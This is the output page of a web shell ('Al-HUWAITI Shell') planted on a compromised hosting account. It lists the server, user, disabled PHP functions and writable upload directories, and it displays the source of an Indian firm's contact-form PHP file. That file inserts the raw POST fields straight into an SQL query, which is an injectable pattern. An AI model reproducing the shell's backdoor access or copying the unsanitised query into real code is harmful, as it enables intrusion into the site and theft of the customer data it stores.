Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web983.main-hosting.eu 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : u520472703 ( 520472703)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u520472703/domains/gadhiaassociate.com/public_html/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u520472703/domains/gadhiaassociate.com/public_html/components/contact.php
<?php
if (isset($_POST['contactform-submit']) && !isset($message)) {
  $username = $_POST['name'];
  $usermobile = $_POST['mono'];
  $useremail = $_POST['email'];
  $usermessage = $_POST['message'];

  $created = date("Y-m-d h:i A");

  // Prepare Submit Query
  $contactQuery = "INSERT INTO contact(name, number, email, message) VALUES('$username', '$usermobile', '$useremail', '$usermessage')";
  $contactSubmit = mysqli_query($conn, $contactQuery);
  if ($contactSubmit) {
    $message = true;
  } else {
      $message = false;
  }
}
?>
<section id="contact" data-aos="fade-up" data-aos-duration="1000">
  <div class="container-md mt-5">
    <div class="row justify-content-center g-3">
      <div class="col-12 d-flex flex-column align-items-center section-starting">
        <h3 class="m-3 text-center" title="Contact us Section">Find Us On Google Map</h3>
        <div class="position-relative rounded-5 design-parent mb-3">
          <div class="bg-primary position-absolute top-50 start-50 translate-middle rounded-5 design-child">
          </div>
        </div>

        <iframe class="rounded-5  shadow mt-5" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3711.89921016539!2d70.44869477427063!3d21.511667471019358!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3958012c16b74dd7%3A0x285b9610f13c3c71!2sGadhia%20Associate!5e0!3m2!1sen!2sin!4v1697277615474!5m2!1sen!2sin"  width="100%" height="450" style="border:0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"></iframe>

      </div>
    </div>
  </div>

  <div class="container-md mt-5 flex-column align-items-center section-starting">
    <div class="d-flex flex-column justify-content-center my-5 align-items-center">
      <h3 class="m-3" title="Contact us Section">Contact Us</h3>
      <div class="position-relative rounded-5 design-parent mb-3">
        <div class="bg-primary position-absolute top-50 start-50 translate-middle rounded-5 design-child">
        </div>
      </div>

    </div>


    <div class="row justify-content-center g-3 mb-4" data-aos="fade-up" data-aos-duration="1000">
      <div class="col-12 col-md-7">
        <div class="row justify-content-center g-3">
          <div class="col-11">
            <form method="post" action="#contact">
              <div class="row g-2">
                <div class="col-md">
                  <div class="form-floating mb-3">
                    <input type="text" class="form-control" id="name" placeholder="Name" name="name" required>
                    <label for="name">Name</label>
                  </div>
                </div>

                <div class="col-md">
                  <div class="form-floating mb-3">

                    <input type="tel" class="form-control" id="mono" placeholder="Mobile No" name="mono" minlength="10" title="Please type valid Mobile no (At least 10 Digits)" required>
                    <label for="mono">Mobile No</label>
                  </div>

                </div>
              </div>
              <div class="form-floating mb-3">
                <input type="email" class="form-control" id="email" placeholder="name@example.com" name="email" required>
                <label for="email">Email address</label>
              </div>
              <div class="form-floating mb-3">
                <textarea class="form-control" placeholder="Leave a message here" id="message" style="height: 100px" name="message" required></textarea>
                <label for="message">Message</label>
              </div>
              <div class="input-group mb-3">
                <button type="submit" name="contactform-submit" class="px-5 p-3 btn rounded-button w-100 focus-ring" aria-label="Send Message" aria-describedby="Send Message" value="Send Message">Send Message</button>
              </div>
            </form>



          </div>
        </div>
      </div>
      <div class="col-12 col-md-5 d-flex flex-column align-items-center section-starting">

        <div class="mt-3 row justify-content-center">
          <div class="col-2 text-center">
            <i class="fa fa-phone" aria-hidden="true"></i>
          </div>
          <div class="col-10">
            <p class="no-decoration">
              <a class="text-dark" href="tel:+918200528355" target="_blank" title="Call us Now">+91 82005 28355</a>
            </p>
          </div>
          <div class="col-2 text-center">
            <i class="fa fa-envelope" aria-hidden="true"></i>
          </div>
          <div class="col-10">
            <p class="no-decoration">
              <a class="text-dark" href="mailto:contact@gadhiaassociate.com" target="_blank" title="Send Email">contact@gadhiaassociate.com</a>
            </p>
          </div>
          <div class="col-2 text-center">
            <i class="fa fa-map-marker" aria-hidden="true"></i>
          </div>
          <div class="col-10">
            <p class="no-decoration"><a class="text-dark" href="https://maps.google.com/maps/dir//BM+Square+B.M.+Ratiya+Marg+Rajlaxmi+Park+Junagadh,+Gujarat+362001/@21.5116679,70.4512367,15z/data=!4m5!4m4!1m0!1m2!1m1!1s0x395801eb878bc51b:0xb845bd8e88e211b0" target="_blank" title="Get Direction">Gadhia Associate<br>Office No. 314, 3 Floor<br>Punit Shopping centre, M G Road<br><b style="font-weight:600;">Junagadh - 362001 <br>Gujarat, Bharat</b></a></p>
          </div>
        </div>

        <div class="position-relative rounded-5 design-parent mb-2">
          <div class="bg-primary position-absolute top-50 start-50 translate-middle rounded-5 design-child">
          </div>
        </div>

        <div class="d-flex justify-content-center justify-content-md-end align-items-center footer-menu-items my-3">
          <div class="mx-3 my-2">
            <a href="https://x.com/Mr_Gadhia" target="_blank" title="Follow us on Twitter"><i class="fa fa-twitter fs-3" aria-hidden="true"></i></a>
          </div>
          <div class="mx-3 my-2">
            <a href="https://www.linkedin.com/in/akshit-gadhia-b380a2180" target="_blank" title="Visit us on Linkedin"><i class="fa fa-linkedin fs-3" aria-hidden="true"></i></a>
          </div>
          <div class="mx-3 my-2">
            <a href="https://wa.me/message/OFML76HL77NTI1" target="_blank" title="Contact us on Whatsapp"><i class="fa fa-whatsapp fs-3" aria-hidden="true"></i></a>
          </div>
        </div>

      </div>
    </div>
  </div>
</section>

<!-- ------- Toast Message if The Message Sent Succesfully or Failed ------- -->

<div class="toast-container position-fixed bottom-0 end-0 p-3">
  <div id="liveToast" class="toast" role="alert" aria-live="assertive" aria-atomic="true">
      <div class="toast-header">

          <strong class="me-auto text-primary">Contact Message</strong>

          <?php echo ($message) ? "<small class='text-success'>Sent Successfully</small>" : "<small class='text-danger'>Failed to Send</small>"; ?>

          <button type="button" class="btn-close" data-bs-dismiss="toast"
              aria-label="Close"></button>
      </div>
      <div class="toast-body">
          <?php echo ($message) ? "We'll response as quickly as possiible whenever we reach to your message. <br>Thankyou for contacting us." : "<p class='text-danger'>Please don't include extreme symbols or 'quotation' marks to your contact message</p>"; ?>
        </div>
  </div>
</div>

Al-HUWAITI Shell